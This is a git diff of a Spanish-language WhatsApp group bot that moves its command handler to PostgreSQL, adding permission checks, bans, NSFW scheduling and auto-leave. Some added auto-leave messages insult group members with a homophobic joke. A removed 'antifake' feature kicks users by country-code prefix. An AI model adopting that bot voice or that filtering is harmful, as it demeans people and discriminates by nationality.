-forwardingScore: 9999999,
-isForwarded: true,
-mentionedJid:[m.sender],
-"externalAdReply": {
-"showAdAttribution": true,
-"renderLargerThumbnail": true,
-"thumbnail": gataImg.getRandom(),
-"title": wm,
-"containsAutoReply": true,
-"mediaType": 1,
-sourceUrl: [nna, md, yt, nn, nnn].getRandom()}}
-}, { quoted: m })
-// this.reply(m.chat, `${lenguajeGB['smsCont7']()} *${usedPrefix}buy*`, m)
-continue // Limit habis
+
+if (!match && plugin.customPrefix) {
+const input = m.originalText
+if (typeof plugin.customPrefix === 'function') {
+match = plugin.customPrefix(input)
+} else if (plugin.customPrefix instanceof RegExp) {
+match = plugin.customPrefix.test(input)
+}}
+
+if (!match) continue
+
+const isGroup = m.isGroup;
+const isPrivate = !m.isGroup;
+let isOwner = isCreator || senderJid === botJid || (config.owners || []).includes(senderJid);
+const isROwner = fixedOwners.includes(m.sender);
+const senderClean = m.sender.split("@")[0];
+const botClean = (conn.user?.id || "").split("@")[0];
+
+if (senderJid === botJid) {
+isOwner = true;
}
-if (plugin.level > _user.level) {
-conn.sendMessage(m.chat, {
-text: `${lenguajeGB['smsCont9']()} *${plugin.level}* ${lenguajeGB['smsCont10']()} *${_user.level}* ${lenguajeGB['smsCont11']()} *${usedPrefix}nivel*`,
-contextInfo:{
-forwardingScore: 9999999,
-isForwarded: true,
-mentionedJid:[m.sender],
-"externalAdReply": {
-"showAdAttribution": true,
-"renderLargerThumbnail": true,
-"thumbnail": gataImg.getRandom(),
-"title": wm,
-"containsAutoReply": true,
-"mediaType": 1,
-sourceUrl: [nna, md, yt, nn, nnn].getRandom()}}
-}, { quoted: m })
-/*this.reply(m.chat, `${lenguajeGB['smsCont9']()} *${plugin.level}* ${lenguajeGB['smsCont10']()} *${_user.level}* ${lenguajeGB['smsCont11']()} *${usedPrefix}nivel*`, m)*/
-continue // If the level has not been reached
+
+if (!isOwner && !isROwner) {
+isOwner = isCreator;
}
-let extra = {match, usedPrefix, noPrefix, _args, args, command, text, conn: this, participants, groupMetadata, user, bot, isROwner, isOwner, isRAdmin, isAdmin, isBotAdmin, isPrems, chatUpdate, __dirname: ___dirname, __filename}
+
+let isAdmin = m.isAdmin;
+let isBotAdmin = false;
+let modoAdminActivo = false;
+
try {
-await plugin.call(this, m, extra)
-if (!isPrems)
-m.limit = m.limit || plugin.limit || false
-m.money = m.money || plugin.money || false
-} catch (e) {
-// Error occured
-m.error = e
-console.error(e)
-if (e) {
-let text = format(e)
-for (let key of Object.values(global.APIKeys))
-text = text.replace(new RegExp(key, 'g'), '#HIDDEN#')
-if (e.name)
-for (let [jid] of global.owner.filter(([number, _, isDeveloper]) => isDeveloper && number)) {
-let data = (await conn.onWhatsApp(jid))[0] || {}
-if (data.exists)
-m.reply(`${lenguajeGB['smsCont1']()}\n\n${lenguajeGB['smsCont2']()}\n*_${name}_*\n\n${lenguajeGB['smsCont3']()}\n*_${m.sender}_*\n\n${lenguajeGB['smsCont4']()}\n*_${m.text}_*\n\n${lenguajeGB['smsCont5']()}\n\`\`\`${format(e)}\`\`\`\n\n${lenguajeGB['smsCont6']()}`.trim(), data.jid)
-}
-m.reply(text)
+const result = await db.query('SELECT modoadmin FROM group_settings WHERE group_id = $1', [chatId]);
+modoAdminActivo = result.rows[0]?.modoadmin || false;
+} catch (err) {
+console.error(err);
}
-} finally {
-// m.reply(util.format(_user))
-if (typeof plugin.after === 'function') {
+
+//if ((plugin.admin || plugin.Botadmin) && !isGroup) return m.reply("⚠️ Estos es un grupo?, este comando solo funciona el grupo");
+
+if (plugin.tags?.includes('nsfw') && m.isGroup) {
+const { rows } = await db.query('SELECT modohorny, nsfw_horario FROM group_settings WHERE group_id = $1', [chatId])
+const { modohorny = false, nsfw_horario } = rows[0] || {}
+
+const nowBA = (await import('moment-timezone')).default().tz('America/Argentina/Buenos_Aires')
+const hhmm = nowBA.format('HH:mm')
+const [ini='00:00', fin='23:59'] = (nsfw_horario || '').split('-')
+const dentro = ini <= fin ? (hhmm >= ini && hhmm <= fin) : (hhmm >= ini || hhmm <= fin)
+
+if (!modohorny || !dentro) {
+const stickerUrls = ['https://qu.ax/bXMB.webp', 'https://qu.ax/TxtQ.webp']
try {
-await plugin.after.call(this, m, extra)
+await conn.sendFile(chatId, stickerUrls.getRandom(), 'desactivado.webp', '', m, true, { contextInfo: { forwardingScore: 200, isForwarded: false, externalAdReply: { showAdAttribution: false, title: modohorny ? `ᴱˢᵗᵉ ᶜᵒᵐᵃⁿᵈᵒ ˢᵒˡᵒ ᶠᵘⁿᶜᶦᵒⁿᵃ ᵉⁿ ʰᵒʳᵃʳᶦᵒ ʰᵃᵇᶦˡᶦᵗᵃᵈᵒ:` : `ᴸᵒˢ ᶜᵒᵐᵃⁿᵈᵒ ˢ ʰᵒʳⁿʸ ᵉˢᵗᵃⁿ ᵈᵉˢᵃᶜᵗᶦᵛᵃᵈᵒˢ:`, body: modohorny ? `${ini} a ${fin}` : '#enable modohorny', mediaType: 2, sourceUrl: info.md, thumbnail: m.pp }}}, { quoted: m, ephemeralExpiration: 24 * 60 * 100, disappearingMessagesInChat: 24 * 60 * 100 })
} catch (e) {
-console.error(e)
-}}
-if (m.limit)
-m.reply(+m.limit + lenguajeGB.smsCont8())
+await conn.sendMessage(chatId, { text: modohorny ? `🔞 NSFW fuera del horario permitido (${ini} a ${fin})` : '🔞 El NSFW está desactivado por un admin.\nUsa *#enable modohorny* para activarlo.', contextInfo: { externalAdReply: { title: 'NSFW Desactivado', body: modohorny ? `Horario permitido: ${ini} a ${fin}` : '#enable modohorny', mediaType: 2, thumbnail: m.pp, sourceUrl: info.md }}}, { quoted: m })
}
-if (m.money)
-m.reply(+m.money + ' 𝙇𝙤𝙡𝙞𝘾𝙤𝙞𝙣𝙨 𝙪𝙨𝙖𝙙𝙤𝙨')
-break
+continue
}}
-} catch (e) {
-console.error(e)
-} finally {
-if (opts['queque'] && m.text) {
-const quequeIndex = this.msgqueque.indexOf(m.id || m.key.id)
-if (quequeIndex !== -1)
-this.msgqueque.splice(quequeIndex, 1)
-} //console.log(global.db.data.users[m.sender])
-let user, stats = global.db.data.stats
-if (m) {
-if (m.sender && (user = global.db.data.users[m.sender])) {
-user.exp += m.exp
-user.limit -= m.limit * 1
-user.money -= m.money * 1
+
+//User banear
+try {
+let rawSender = m.sender || m.key?.participant || "";
+let senderId;
+
+if (rawSender.endsWith("@lid") && m.key?.participantAlt && m.key.participantAlt.endsWith("@s.whatsapp.net")) {
+senderId = m.key.participantAlt;
+} else {
+senderId = rawSender;
}
-let stat
-if (m.plugin) {
-let now = +new Date
-if (m.plugin in stats) {
-stat = stats[m.plugin]
-if (!isNumber(stat.total))
-stat.total = 1
-if (!isNumber(stat.success))
-stat.success = m.error != null ? 0 : 1
-if (!isNumber(stat.last))
-stat.last = now
-if (!isNumber(stat.lastSuccess))
-stat.lastSuccess = m.error != null ? 0 : now
-} else
-stat = stats[m.plugin] = {
-total: 1,
-success: m.error != null ? 0 : 1,
-last: now,
-lastSuccess: m.error != null ? 0 : now
+senderId = senderId.replace(/:\d+/, "");
+const botId = (conn.user?.id || "").replace(/:\d+/, "");
+if (senderId !== botId) {
+const resBan = await db.query("SELECT banned, razon_ban, avisos_ban FROM usuarios WHERE id = $1", [senderId]);
+if (resBan.rows[0]?.banned) {
+const avisos = resBan.rows[0]?.avisos_ban || 0;
+if (avisos < 3) {
+const nuevoAviso = avisos + 1;
+await db.query("UPDATE usuarios SET avisos_ban = $2 WHERE id = $1", [senderId, nuevoAviso]);
+const razon = resBan.rows[0]?.razon_ban?.trim() || "Spam";
+await conn.sendMessage(m.chat, { text: `⚠️ ESTAS BANEADO ⚠️\n*• Motivo:* ${razon} (avisos: ${nuevoAviso}/3)\n*👉🏻 Puedes contactar al propietario del Bot si crees que se trata de un error o para charlar sobre tu desbaneo*\n\n👉 ${info.fb}`, contextInfo: { mentionedJid: [senderId] }}, { quoted: m });
}
-stat.total += 1
-stat.last = now
-if (m.error == null) {
-stat.success += 1
-stat.lastSuccess = now
-}}}
-try {
-if (!opts['noprint']) await (await import(`./lib/print.js`)).default(m, this)
+return;
+}}
} catch (e) {
-console.log(m, m.quoted, e)
+console.error("❌ Error al verificar baneo:", e);
}
-let settingsREAD = global.db.data.settings[this.user.jid] || {}
-if (opts['autoread']) await this.readMessages([m.key])
-if (settingsREAD.autoread2) await this.readMessages([m.key])
-//if (settingsREAD.autoread2 == 'true') await this.readMessages([m.key])
-if (!db.data.chats[m.chat].reaction && m.isGroup) throw 0
-if (!m.fromMem && m.text.match(/(@5492266466080|admin del bot|Bot|LoliBot|lolibot|The LoliBot-md|lolibot-md|The LoliBot-MD|:v)/gi)) {
-let emot = pickRandom(["😺", "😸", "😹", "😻", "😼", "😽", "🙀", "😿", "😾", "🤩", "😏", "😳", "🥵", "🤯", "😱", "😨", "🤫", "🥴", "🤧", "🤑", "🤠", "🤖", "🤝", "💪", "👑", "😚", "🐱", "🐈", "🐆", "🐅", "⚡️", "🌈", "☃️", "⛄️", "🌝", "🌛", "🌜", "🍓", "🍎", "🎈", "🪄", "❤️", "🧡", "💛", "💚", "💙", "💜", "🖤", "🤍", "💘", "💝", "💟", "🌝", "😎", "🔥", "🖕", "🐦"])
-this.sendMessage(m.chat, { react: { text: emot, key: m.key }})}
-function pickRandom(list) { return list[Math.floor(Math.random() * list.length)]}}}
-/**
- * Handle groups participants update
- * @param {import('@adiwajshing/baileys').BaileysEventMap['group-participants.update']} groupsUpdate
- */
-export async function participantsUpdate({ id, participants, action }) {
-if (opts['self'])
-return
-// if (id in conn.chats) return // First login will spam
-if (this.isInit)
-return
-if (global.db.data == null)
-await loadDatabase()
-let chat = global.db.data.chats[id] || {}
-let text = ''
-switch (action) {
-case 'add':
-if (chat.welcome) {
-let groupMetadata = await this.groupMetadata(id) || (conn.chats[id] || {}).metadata
-for (let user of participants) {
-let pp = './src/sinfoto.jpg'
+
+if (plugin.admin || plugin.botAdmin) {
try {
-pp = await this.profilePictureUrl(user, 'image')
+//isAdmin = adminIds.includes(m.sender);
+isAdmin = m.isAdmin
+const botLid = (conn.user?.lid || "").replace(/:\d+/, "");
+const botJidClean = (conn.user?.id || "").replace(/:\d+/, "");
+isBotAdmin = adminIds.includes(botLid) || adminIds.includes(botJidClean);
+console.log(isAdmin)
} catch (e) {
-} finally {
-let apii = await this.getFile(pp)
-const botTt2 = groupMetadata.participants.find(u => this.decodeJid(u.id) == this.user.jid) || {}
-const isBotAdminNn = botTt2?.admin === "admin" || false
-text = (action === 'add' ? (chat.sWelcome || this.welcome || conn.welcome || 'Welcome, @user!').replace('@subject', await this.getName(id)).replace('@desc', groupMetadata.desc?.toString() || '*ᴜɴ ɢʀᴜᴘᴏ ɢᴇɴɪᴀ😸*\n *sɪɴ ʀᴇɢʟᴀ 😉*') :
-(chat.sBye || this.bye || conn.bye || 'Bye, @user!')).replace('@user', '@' + user.split('@')[0])
-if (chat.antifake && isBotAdminNn && action === 'add') {
-const numerosPermitidos = ["212", "265", "92", "91", "90", "210", "60", "61", "62", "40", "48", "49", "93", "94", "98", "258"] //PUEDES EDITAR LOS USUARIOS QUE SE ELIMINARÁN SI EMPIEZA POR CUALQUIER DE ESOS NÚMEROS
-if (numerosPermitidos.some(num => user.startsWith(num))) {
-this.sendMessage(id, { text: `*${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsInt1']()} @${user.split("@")[0]} ${lenguajeGB['smsInt2']()}*`, mentions: [user] }, { quoted: null });
-let responseb = await this.groupParticipantsUpdate(id, [user], 'remove')
-if (responseb[0].status === "404") return
-return
-}}
-let fkontak2 = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${user.split('@')[0]}:${user.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-this.sendMessage(id, { text: text,
-contextInfo:{
-forwardingScore: 9999999,
-isForwarded: true,
-mentionedJid:[user],
-"externalAdReply": {
-"showAdAttribution": true,
-"renderLargerThumbnail": true,
-"thumbnail": apii.data,
-"title": [wm, ' ' + lb + ' 😊', '🌟'].getRandom(),
-"containsAutoReply": true,
-"mediaType": 1,
-sourceUrl: [md, nna, yt, nnn, nn, ig].getRandom()}}}, { quoted: fkontak2 })
-//this.sendFile(id, apii.data, 'pp.jpg', text, null, false, { mentions: [user] }, { quoted: fkontak2 })
-}}}
-
-break
-case 'promote':
-case 'daradmin':
-case 'darpoder':
-text = (chat.sPromote || this.spromote || conn.spromote || '@user ```is now Admin```')
-case 'demote':
-case 'quitarpoder':
-case 'quitaradmin':
-if (!text)
-text = (chat.sDemote || this.sdemote || conn.sdemote || '@user ```is no longer Admin```')
-text = text.replace('@user', '@' + participants[0].split('@')[0])
-if (chat.detect)
-//this.sendMessage(id, { text, mentions: this.parseMention(text) })
-break
+console.error(e);
}}
-/**
- * Handle groups update
- * @param {import('@adiwajshing/baileys').BaileysEventMap['groups.update']} groupsUpdate
- */
-export async function groupsUpdate(groupsUpdate) {
-if (opts['self'])
-return
-for (const groupUpdate of groupsUpdate) {
-const id = groupUpdate.id
-if (!id) continue
-let chats = global.db.data.chats[id], text = ''
-if (!chats?.detect) continue
-// if (groupUpdate.desc) text = (chats.sDesc || this.sDesc || conn.sDesc || '```Description has been changed to```\n@desc').replace('@desc', groupUpdate.desc)
-//if (groupUpdate.subject) text = (chats.sSubject || this.sSubject || conn.sSubject || '```Subject has been changed to```\n@subject').replace('@subject', groupUpdate.subject)
-//if (groupUpdate.icon) text = (chats.sIcon || this.sIcon || conn.sIcon || '```Icon has been changed to```').replace('@icon', groupUpdate.icon)
-if (groupUpdate.revoke) text = (chats.sRevoke || this.sRevoke || conn.sRevoke || '```Group link has been changed to```\n@revoke').replace('@revoke', groupUpdate.revoke)
-if (!text) continue
-await this.sendMessage(id, { text, mentions: this.parseMention(text) })
+if (plugin.owner && !isOwner) return m.reply("⚠️ Tu que? no eres mi propietario para venir a dame orden 🙄, solo el dueño del sub-bot o el owner puede usar este comando.");
+if (plugin.rowner && !isROwner) return m.reply("⚠️ Tu que? no eres mi propietario para venir a dame orden 🙄.");
+if (plugin.admin && !isAdmin) return m.reply("🤨 No eres admins. Solo los admins pueden usar este comando.");
+if (plugin.botAdmin && !isBotAdmin) return m.reply(`⚠️ haz admin al Bot "YO" para poder usar este comando.`);
+if (plugin.group && !isGroup) return m.reply("⚠️ Estos es un grupo?, este comando solo funciona el grupo");
+if (plugin.private && isGroup) return m.reply("⚠️ Este comando solo funciona el pv");
+if (plugin.register) {
+try {
+const result = await db.query('SELECT * FROM usuarios WHERE id = $1', [m.sender]);
+const user = result.rows[0];
+if (!user || user.registered !== true) return m.reply("「NO ESTAS REGISTRADO」\n\nPA NO APARECES EN MI BASE DE DATOS ✋🥸🤚\n\nPara poder usarme escribe el siguente comando\n\nComando: #reg nombre.edad\nEjemplo: #reg elrebelde.21");
+} catch (e) {
+console.error(e);
}}
-export async function callUpdate(callUpdate) {
-let isAnticall = global.db.data.settings[this.user.jid].antiCall
-if (!isAnticall) return
-for (let nk of callUpdate) {
-if (nk.isGroup == false) {
-if (nk.status == "offer") {
-let callmsg = await this.reply(nk.from, `${lenguajeGB['smsCont15']()} *@${nk.from.split('@')[0]}*, ${nk.isVideo ? lenguajeGB.smsCont16() : lenguajeGB.smsCont17()} ${lenguajeGB['smsCont18']()}`, false, { mentions: [nk.from] })
-//let data = global.owner.filter(([id, isCreator]) => id && isCreator)
-//await this.sendContact(nk.from, data.map(([id, name]) => [id, name]), false, { quoted: callmsg })
-await this.updateBlockStatus(nk.from, 'block')
-}}}}
-
-export async function deleteUpdate(message) {
-try {
-const {fromMe, id, participant} = message;
-if (fromMe) {
+if (plugin.limit) {
+const res = await db.query('SELECT limite FROM usuarios WHERE id = $1', [m.sender]);
+const limite = res.rows[0]?.limite ?? 0;
+
+if (limite < plugin.limit) {
+await m.reply("*⚠ 𝐒𝐮𝐬 𝐝𝐢𝐚𝐦𝐚𝐧𝐭𝐞 💎 𝐬𝐞 𝐡𝐚𝐧 𝐚𝐠𝐨𝐭𝐚𝐝𝐨 𝐩𝐮𝐞𝐝𝐞 𝐜𝐨𝐦𝐩𝐫𝐚𝐫 𝐦𝐚𝐬 𝐮𝐬𝐚𝐧𝐝𝐨 𝐞𝐥 𝐜𝐨𝐦𝐚𝐧𝐝𝐨:* #buy.");
return;
}
-const msg = this.serializeM(this.loadMessage(id));
-if (!msg) {
-return;
+
+await db.query('UPDATE usuarios SET limite = limite - $1 WHERE id = $2', [plugin.limit, m.sender]);
+await m.reply(`*${plugin.limit} diamante 💎 usado${plugin.limit > 1 ? 's' : ''}.*`);
}
-const chat = global.db.data.chats[msg.chat] || {};
-if (chat.delete) {
-return;
+
+if (plugin.money) {
+try {
+const res = await db.query('SELECT money FROM usuarios WHERE id = $1', [m.sender])
+const money = res.rows[0]?.money ?? 0
+
+if (money < plugin.money) {
+return m.reply("*NO TIENE SUFICIENTES LOLICOINS 🪙*")
}
-await this.reply(msg.chat, `[ ANTI ELIMINAR ]\n\n*El usuario @${participant.split`@`[0]} Elimino un mensaje,* \n*Enviando el mensaje..*\n\n*Para desactivar esta función escriba:*
-#disable antidelete
-`.trim(), msg, {mentions: [participant], });
-this.copyNForward(msg.chat, msg).catch((e) => console.log(e, msg));
+
+await db.query('UPDATE usuarios SET money = money - $1 WHERE id = $2', [plugin.money, m.sender])
+await m.reply(`*${plugin.money} LoliCoins usado${plugin.money > 1 ? 's' : ''} 🪙*`)
+} catch (err) {
+console.error(err)
+}}
+
+if (plugin.level) {
+try {
+const result = await db.query('SELECT level FROM usuarios WHERE id = $1', [m.sender]);
+const nivel = result.rows[0]?.level ?? 0;
+
+if (nivel < plugin.level) {
+return m.reply(`*⚠️ 𝐍𝐞𝐜𝐞𝐬𝐢𝐭𝐚 𝐞𝐥 𝐧𝐢𝐯𝐞𝐥 ${plugin.level}, 𝐩𝐚𝐫𝐚 𝐩𝐨𝐝𝐞𝐫 𝐮𝐬𝐚𝐫 𝐞𝐬𝐭𝐞 𝐜𝐨𝐦𝐚𝐧𝐝𝐨, 𝐓𝐮 𝐧𝐢𝐯𝐞𝐥 𝐚𝐜𝐭𝐮𝐚𝐥 𝐞𝐬:* ${nivel}`);
+}} catch (err) {
+console.error(err);
+}}
+
+if (modoAdminActivo && !isAdmin && !isOwner) {
+return !0
+//m.reply("⚠️ Este grupo tiene *modo admin* activado. Solo los administradores pueden usar comandos.");
+}
+
+try {
+logCommand({conn,
+sender: m.sender,
+chatId: m.chat,
+isGroup: m.isGroup,
+command: command,
+timestamp: new Date()
+});
+
+try {
+await plugin(m, { conn, text, args, usedPrefix, command, participants, metadata, isOwner, isROwner, isAdmin: m.isAdmin, isBotAdmin, isGroup });
} catch (e) {
+if (typeof e === 'string') {
+await m.reply(e);
+return;
+}
console.error(e);
+return;
+}
+
+await db.query(`INSERT INTO stats (command, count)
+ VALUES ($1, 1)
+ ON CONFLICT (command) DO UPDATE SET count = stats.count + 1
+ `, [command]);
+
+} catch (err) {
+console.error(chalk.red(`❌ Error al ejecutar ${handler.command}: ${err}`));
+m.reply("❌ Error ejecutando el comando, reporte este error a mi creador con el comando: /report\n\n" + err);
+}}
+}
+
+//auto-leave
+setInterval(async () => {
+try {
+let conn = global.conn || globalThis.conn;
+if (!conn || typeof conn.groupLeave !== 'function') return;
+const { rows } = await db.query("SELECT group_id, expired FROM group_settings WHERE expired IS NOT NULL AND expired > 0 AND expired < $1", [Date.now()]);
+
+for (let { group_id } of rows) {
+try {
+await conn.sendMessage(group_id, { text: [`*${conn.user.name}*,ᴹᵉ ᵛᵒʸ ᵈᵉˡ ᵉˡ ᵍʳᵘᵖᵒ ᶠᵘᵉ ᵘⁿ ᵍᵘˢᵗᵒ ᵉˢᵗᵃ ᵃᵠᵘᶦ́ ˢᶦ ᵠᵘᶦᵉʳᵉˢ ᵠᵘᵉ ᵛᵘᵉˡᵛᵃ ᵁˢᵉʳ ᵈᵉ ⁿᵘᵉᵛᵒ ᵉˡ ᶜᵒᵐᵃⁿᵈᵒ`, `Bueno me voy de este grupo de mrd, no me agregue a grupo ptm`, `*${conn.user.name}*, me voy de este grupito culiado nada interesante yo queria ver teta y son puro gays aca 🤣`].getRandom() });
+await new Promise(r => setTimeout(r, 3000));
+await conn.groupLeave(group_id);
+await db.query("UPDATE group_settings SET expired = NULL WHERE group_id = $1", [group_id]);
+console.log(`[AUTO-LEAVE] Bot salió automáticamente del grupo: ${group_id}`);
+} catch (e) {
}}
+} catch (e) {
+}}, 60_000); //1 min
-global.dfail = (type, m, conn) => {
-let msg = {
-rowner: lenguajeGB['smsRowner'](),
-owner: lenguajeGB['smsOwner'](),
-mods: lenguajeGB['smsMods'](),
-premium: lenguajeGB['smsPremium'](),
-group: lenguajeGB['smsGroup'](),
-private: lenguajeGB['smsPrivate'](),
-admin: lenguajeGB['smsAdmin'](),
-botAdmin: lenguajeGB['smsBotAdmin'](),
-unreg: lenguajeGB['smsUnreg'](),
-restrict: lenguajeGB['smsRestrict'](),
-}[type]
-//if (msg) return m.reply(msg)
-let tg = { quoted: m, userJid: conn.user.jid }
-let prep = generateWAMessageFromContent(m.chat, { extendedTextMessage: { text: msg, contextInfo: { externalAdReply: { title: lenguajeGB.smsAvisoAG().slice(0,-2), body: [wm, ' ' + lb + ' 😊', '🌟'].getRandom(), thumbnail: gataImg.getRandom(), sourceUrl: [md, nna, yt, nnn, nn, fb, ig].getRandom() }}}}, tg)
-if (msg) return conn.relayMessage(m.chat, prep.message, { messageId: prep.key.id })
+//report
+setInterval(async () => {
+const MODGROUP_ID = "120363392819528942@g.us";
+try {
+let conn = global.conn || globalThis.conn;
+if (!conn || typeof conn.sendMessage !== "function") return;
+let modsMeta;
+try {
+modsMeta = await conn.groupMetadata(MODGROUP_ID);
+} catch (e) {
+return;
}
+const res = await db.query("SELECT * FROM reportes WHERE enviado = false ORDER BY fecha ASC LIMIT 10");
+if (!res.rows.length) return;
-const file = global.__filename(import.meta.url, true);
-watchFile(file, async () => {
-unwatchFile(file);
-console.log(chalk.redBright('Update \'handler.js\''));
-if (global.reloadHandler) console.log(await global.reloadHandler());
-
-if (global.conns && global.conns.length > 0 ) {
-const users = [...new Set([...global.conns.filter((conn) => conn.user && conn.ws.socket && conn.ws.socket.readyState !== ws.CLOSED).map((conn) => conn)])];
-for (const userr of users) {
-userr.subreloadHandler(false)
-}}});
+for (const row of res.rows) {
+let cabecera = row.tipo === "sugerencia" ? "🌟 *SUGERENCIA*" : "REPORTE";
+const txt = `┏╼╾╼⧼⧼⧼ ${cabecera} ⧽⧽⧽╼╼╼┓\n╏• *Usuario:* wa.me/${row.sender_id.split("@")[0]}\n╏• ${row.tipo === "sugerencia" ? "*Sugerencia:*" : "*Mensaje:*"} ${row.mensaje}\n┗╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼`;
+await conn.sendMessage(MODGROUP_ID, { text: txt });
+await db.query("DELETE FROM reportes WHERE id = $1", [row.id]);
+}} catch (err) {
+console.error("[REPORT/SUGGE SYSTEM ERROR]", err);
+}}, 60_000 * 2); // cada 2 minutos
+
+//cache message
+setInterval(async () => {
+try {
+const { rows } = await db.query(`SELECT chat_memory.chat_id, chat_memory.updated_at,
+ COALESCE(group_settings.memory_ttl, 86400) AS memory_ttl
+ FROM chat_memory
+ JOIN group_settings ON chat_memory.chat_id = group_settings.group_id
+ WHERE group_settings.memory_ttl > 0
+ `);
+
+const now = Date.now();
+for (const row of rows) {
+const { chat_id, updated_at, memory_ttl } = row;
+const lastUpdated = new Date(updated_at).getTime(); // en ms
+const ttl = memory_ttl * 1000;
+
+if (now - lastUpdated > ttl) {
+await db.query("DELETE FROM chat_memory WHERE chat_id = $1", [chat_id]);
+console.log(`🧹 Memoria del grupo ${chat_id} eliminada automáticamente`);
+}}
+} catch (err) {
+console.error("❌ Error limpiando memorias expiradas:", err);
+}}, 300_000); // cada 5 minutos
+
+//---
+let file = fileURLToPath(import.meta.url);
+watchFile(file, () => {
+ unwatchFile(file);
+ console.log(chalk.redBright('Update \'handler.js\''));
+ import(`${file}?update=${Date.now()}`);
+});
\ No newline at end of file
diff --git a/index.js b/index.js
index ea1f44c81..cfa3b9e03 100644
--- a/index.js
+++ b/index.js
@@ -1,70 +1,21 @@
console.log('Iniciando 🚀🚀🚀')
-import { join, dirname } from 'path'
-import { createRequire } from 'module'
-import { fileURLToPath } from 'url'
-import { setupMaster, fork } from 'cluster'
-import { watchFile, unwatchFile } from 'fs'
-import cfonts from 'cfonts'
-import { createInterface } from 'readline'
-import yargs from 'yargs'
-const __dirname = dirname(fileURLToPath(import.meta.url))
-const require = createRequire(__dirname)
-const { name, author } = require(join(__dirname, './package.json'))
-const { say } = cfonts
-const rl = createInterface(process.stdin, process.stdout)
+import cfonts from 'cfonts';
+import chalk from 'chalk';
-say('The Loli\nBot\nMD', {
-font: 'chrome',
-align: 'center',
-gradient: ['red', 'magenta']})
-say(`Por LoliBot`, {
-font: 'console',
-align: 'center',
-gradient: ['red', 'magenta']});
+cfonts.say('LoliBot-MD', {
+ font: 'chrome',
+ align: 'center',
+ gradient: ['red', 'magenta'],
+ transition: false
+});
-let isRunning = false
-/**
-* Start a js file
-* @param {String} file `path/to/file`
-*/
-function start(file) {
-if (isRunning) return
-isRunning = true
-const args = [join(__dirname, file), ...process.argv.slice(2)]
+cfonts.say('by: elrebelde21', {
+ font: 'console',
+ align: 'center',
+ gradient: ['red', 'magenta'],
+ transition: false
+});
-setupMaster({
-exec: args[0],
-args: args.slice(1)})
-const p = fork()
-p.on('message', (data) => {
-//console.log('╭--------- - - - ✓\n┆ ✅ TIEMPO DE ACTIVIDAD ACTUALIZADA\n╰-------------------- - - -', data)
-switch (data) {
-case 'reset':
-p.process.kill()
-isRunning = false
-start.apply(this, arguments)
-break
-case 'uptime':
-p.send(process.uptime())
-break
-}
-})
-p.on('exit', (_, code) => {
-isRunning = false;
-console.error('⚠️ Error Inesperado ⚠️', code)
-p.process.kill()
-isRunning = false
-start.apply(this, arguments)
-if (process.env.pm_id) {
-process.exit(1)
-} else {
-process.exit()
-}})
-const opts = new Object(yargs(process.argv.slice(2)).exitProcess(false).parse())
-if (!opts['test']) {
-if (!rl.listenerCount()) {
-rl.on('line', (line) => {
-p.emit('message', line.trim())
-})
-}}}
-start('main.js')
+//console.clear();
+
+import('./main.js');
diff --git a/install.sh b/install.sh
index 5670fa9f6..6341d4fa3 100644
--- a/install.sh
+++ b/install.sh
@@ -1,334 +1,21 @@
-# Código creado por @gata_dios
+#!/bin/bash
-#!/data/data/com.termux/files/usr/bin/bash
-# Interpretación determinada para la ejecución
+# Detener la ejecución si ocurre un error
+set -e
-echo -e "\e[35m
-─█▀▀█ ───░█ ░█─░█ ░█▀▀▀█ ▀▀█▀▀ ░█▀▀▀ ░█─── ─█▀▀█ ░█▀▀█ ─█▀▀█ ░█▄─░█ ▀▀█▀▀ ─█▀▀█ ░█─── ░█─── ─█▀▀█
-░█▄▄█ ─▄─░█ ░█─░█ ─▀▀▀▄▄ ─░█── ░█▀▀▀ ░█─── ░█▄▄█ ░█▄▄█ ░█▄▄█ ░█░█░█ ─░█── ░█▄▄█ ░█─── ░█─── ░█▄▄█
-░█─░█ ░█▄▄█ ─▀▄▄▀ ░█▄▄▄█ ─░█── ░█▄▄▄ ░█▄▄█ ░█─░█ ░█─── ░█─░█ ░█──▀█ ─░█── ░█─░█ ░█▄▄█ ░█▄▄█ ░█─░█
-
-▒█▀▀▀█ ▒█▀▀▀ ▀▀█▀▀ ▀▀█▀▀ ▒█░▒█ ▒█▀▀▀ ▒█▀▀▀█ ▒█▀▀█ ▒█▀▀█ ▒█▀▀▀ ▒█▀▀▀ ▒█▄░▒█
-░▀▀▀▄▄ ▒█▀▀▀ ░▒█░░ ░▒█░░ ▒█▀▀█ ▒█▀▀▀ ░▀▀▀▄▄ ▒█░░░ ▒█▄▄▀ ▒█▀▀▀ ▒█▀▀▀ ▒█▒█▒█
-▒█▄▄▄█ ▒█▄▄▄ ░▒█░░ ░▒█░░ ▒█░▒█ ▒█▄▄▄ ▒█▄▄▄█ ▒█▄▄█ ▒█░▒█ ▒█▄▄▄ ▒█▄▄▄ ▒█░░▀█\n\e[0m"
-
-: <<'COMMENT'
-...
-COMMENT
-
-echo -e "\033[01;93mPreparando instalación...\n\033[0m"
-mp3_array=("install_automatic1.mp3" "install_automatic2.mp3" "install_automatic3.mp3" "install_automatic4.mp3" "install_automatic5.mp3" "install_automatic6.mp3" "install_automatic7.mp3" "install_automatic8.mp3" "install_automatic9.mp3" "install_automatic10.mp3" "install_automatic11.mp3" "install_automatic12.mp3")
-random_mp3=${mp3_array[$RANDOM % ${#mp3_array[@]}]}
-if wget -q https://github.com/elrebelde21/The-LoliBot-MD-V2/raw/master/musicSH/"$random_mp3"; then
-echo -e "\033[01;32mDescarga exitosa. Reproduciendo sonido de intro...\n\033[0m"
-while true; do
-mpv --no-terminal "$random_mp3" &
-sleep 2
-wait
-done &
-else
-echo -e "\033[01;91mSonido de intro no disponible.\nIntro sound not available.\n\033[0m"
-fi
-
-echo -e "\033[01;32m\033[01mInstalando dependencias!!\n\033[0m"
-echo -e "\e[36m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░
